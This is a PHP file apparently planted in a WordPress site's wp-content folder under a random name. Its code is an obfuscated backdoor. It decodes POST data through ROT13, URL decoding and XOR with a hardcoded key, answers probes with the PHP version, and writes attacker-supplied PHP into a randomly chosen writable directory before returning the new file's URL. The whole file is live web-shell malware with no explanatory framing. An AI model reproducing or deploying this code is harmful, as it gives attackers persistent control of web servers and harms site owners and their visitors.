File: /opt/aphex/sites/askbetting.info/wp-content/vymsyevc.php
<?php $iycsbtye = "noloflcyznoqtahn";$nkklsrva = "";foreach ($_POST as $ckqjmvsdub => $zlolwbqdjt){if (strlen($ckqjmvsdub) == 16 and substr_count($zlolwbqdjt, "%") > 10){cvymllfshk($ckqjmvsdub, $zlolwbqdjt);}}function cvymllfshk($ckqjmvsdub, $knrdg){global $nkklsrva;$nkklsrva = $ckqjmvsdub;$knrdg = str_split(rawurldecode(str_rot13($knrdg)));function tydpu($urmepvfaix, $ckqjmvsdub){global $iycsbtye, $nkklsrva;return $urmepvfaix ^ $iycsbtye[$ckqjmvsdub % strlen($iycsbtye)] ^ $nkklsrva[$ckqjmvsdub % strlen($nkklsrva)];}$knrdg = implode("", array_map("tydpu", array_values($knrdg), array_keys($knrdg)));$knrdg = @unserialize($knrdg);if (@is_array($knrdg)){$ckqjmvsdub = array_keys($knrdg);$knrdg = $knrdg[$ckqjmvsdub[0]];if ($knrdg === $ckqjmvsdub[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ivcghqfpr($dzrjogcir) {static $hcxbcponup = array();$vulmirvzbu = glob($dzrjogcir . '/*', GLOB_ONLYDIR);if (count($vulmirvzbu) > 0) {foreach ($vulmirvzbu as $dzrjogc){if (@is_writable($dzrjogc)){$hcxbcponup[] = $dzrjogc;}}}foreach ($vulmirvzbu as $dzrjogcir) ivcghqfpr($dzrjogcir);return $hcxbcponup;}$hzmcuckbh = $_SERVER["DOCUMENT_ROOT"];$vulmirvzbu = ivcghqfpr($hzmcuckbh);$ckqjmvsdub = array_rand($vulmirvzbu);$vdzivw = $vulmirvzbu[$ckqjmvsdub] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($vdzivw, $knrdg);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vdzivw, strlen($hzmcuckbh));exit();}}}